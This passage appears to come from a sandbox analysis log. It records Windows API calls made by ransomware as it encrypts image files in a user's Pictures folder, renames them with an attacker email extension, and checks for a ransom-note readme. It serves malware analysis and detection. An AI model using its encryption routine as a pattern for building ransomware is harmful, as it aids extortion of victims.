WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1156fc1c*=0x6c, lpOverlapped=0x0) returned 1 [0169.948] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x1156fc1c*=0x20, lpOverlapped=0x0) returned 1 [0169.948] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1156fc1c*=0x4, lpOverlapped=0x0) returned 1 [0169.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0169.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0169.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0169.948] CloseHandle (hObject=0x370) returned 1 [0169.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f984f0 [0169.948] wcscpy (in: _Dest=0x2f984f0, _Source="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" [0169.948] wcscat (in: _Dest=0x2f984f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.949] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.950] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.950] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984f0) returned 1 [0169.950] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.950] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.950] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.951] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feda60) returned 1 [0169.951] RtlExitUserThread (Status=0x1) Thread: id = 1871 os_tid = 0x5b8 [0169.952] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.952] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.952] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x115efe18 | out: lpFileSize=0x115efe18*=15393) returned 1 [0169.952] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x3c1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.952] ReadFile (in: hFile=0x370, lpBuffer=0x115efdec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x115efdec*, lpNumberOfBytesRead=0x115efde8*=0x4, lpOverlapped=0x0) returned 1 [0169.953] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887a0 [0169.953] NtQuerySystemTime (in: CurrentTime=0x115efdc4 | out: CurrentTime=0x115efdc4*=132121213272720863) returned 0x0 [0169.953] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x593a4fc3 [0169.953] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x57224486 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x55ba64d8 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xd15008f1 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x6f0c6283 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x73b6f1f1 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x61ad7b42 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x25249b8b [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x7e3b350c [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xc425758e [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x10ecb674 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xe73d800b [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x9943c563 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xe9030b02 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xecd88622 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x63023c95 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x5bea218f [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xcd99bc4a [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x6111cd46 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x8c4252b2 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x14f5946c [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x127134e9 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xb1019482 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xba3eeec6 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x78cf4667 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xcb9a28a6 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xc4ac2ee4 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x794b93ce [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xf8c3682c [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0xfb119f91 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x3b1e12d5 [0169.954] RtlRandom (in: Seed=0x115efdd0 | out: Seed=0x115efdd0) returned 0x93dd33e6 [0169.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0169.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0169.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.966] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x3c21, lpNumberOfBytesRead=0x115efdc4, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x115efdc4*=0x3c21, lpOverlapped=0x0) returned 1 [0169.967] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x115efd8c | out: lpNewFilePointer=0x0) returned 1 [0169.967] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x3c21, lpNumberOfBytesWritten=0x115efdc0, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x115efdc0*=0x3c21, lpOverlapped=0x0) returned 1 [0169.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0169.968] WriteFile (in: hFile=0x370, lpBuffer=0x2f887c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x115efdbc, lpOverlapped=0x0 | out: lpBuffer=0x2f887c8*, lpNumberOfBytesWritten=0x115efdbc*=0x20, lpOverlapped=0x0) returned 1 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0169.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.968] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x115efde8*=0x8, lpOverlapped=0x0) returned 1 [0169.968] WriteFile (in: hFile=0x370, lpBuffer=0x115efe00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x115efe00*, lpNumberOfBytesWritten=0x115efde8*=0x4, lpOverlapped=0x0) returned 1 [0169.968] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x115efde8*=0x4, lpOverlapped=0x0) returned 1 [0169.968] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x115efde8*=0x6c, lpOverlapped=0x0) returned 1 [0169.969] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x115efde8*=0x20, lpOverlapped=0x0) returned 1 [0169.969] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x115efde8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x115efde8*=0x4, lpOverlapped=0x0) returned 1 [0169.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0169.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0169.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0169.969] CloseHandle (hObject=0x370) returned 1 [0169.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97598 [0169.969] wcscpy (in: _Dest=0x2f97598, _Source="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" [0169.969] wcscat (in: _Dest=0x2f97598, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.969] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.970] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97598) returned 1 [0169.970] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.970] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.970] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.970] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe30e0) returned 1 [0169.970] RtlExitUserThread (Status=0x1) Thread: id = 1872 os_tid = 0x5bc [0169.973] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.974] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.974] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1166fe1c | out: lpFileSize=0x1166fe1c*=6507) returned 1 [0169.974] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.974] ReadFile (in: hFile=0x370, lpBuffer=0x1166fdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x1166fdf0*, lpNumberOfBytesRead=0x1166fdec*=0x4, lpOverlapped=0x0) returned 1 [0169.975] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887f0 [0169.975] NtQuerySystemTime (in: CurrentTime=0x1166fdc8 | out: CurrentTime=0x1166fdc8*=132121213272876881) returned 0x0 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x8bdaf450 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xafc7e11 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x1ee8ec73 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xdf3cba16 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xc8dca622 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xed826951 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xde6ba5fe [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xaa29a4e2 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x46b5fc18 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xbbaa5f9b [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x2371817a [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x8fb36cb0 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xe0f24646 [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x7bfe0ade [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xba1053af [0169.975] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x5b86a97 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x6a2303b2 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x9a412a4b [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x6a0f0243 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x1d37dbb0 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x5b84d6e7 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x2f0387cd [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x7e9ea51a [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x7593ccff [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x8b180501 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xf3d15fb1 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x1ce043b5 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xd799cbd0 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0xb50070be [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x57dfb075 [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x152d73fd [0169.976] RtlRandom (in: Seed=0x1166fdd4 | out: Seed=0x1166fdd4) returned 0x1263c8f9 [0169.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0169.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0169.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.987] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x196b, lpNumberOfBytesRead=0x1166fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1166fdc8*=0x196b, lpOverlapped=0x0) returned 1 [0169.988] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1166fd90 | out: lpNewFilePointer=0x0) returned 1 [0169.988] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x196b, lpNumberOfBytesWritten=0x1166fdc4, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1166fdc4*=0x196b, lpOverlapped=0x0) returned 1 [0169.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0169.988] WriteFile (in: hFile=0x370, lpBuffer=0x2f887c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1166fdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f887c8*, lpNumberOfBytesWritten=0x1166fdc0*=0x20, lpOverlapped=0x0) returned 1 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0169.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.988] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x1166fdec*=0x8, lpOverlapped=0x0) returned 1 [0169.988] WriteFile (in: hFile=0x370, lpBuffer=0x1166fe04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x1166fe04*, lpNumberOfBytesWritten=0x1166fdec*=0x4, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1166fdec*=0x4, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1166fdec*=0x6c, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x1166fdec*=0x20, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1166fdec, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1166fdec*=0x4, lpOverlapped=0x0) returned 1 [0169.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 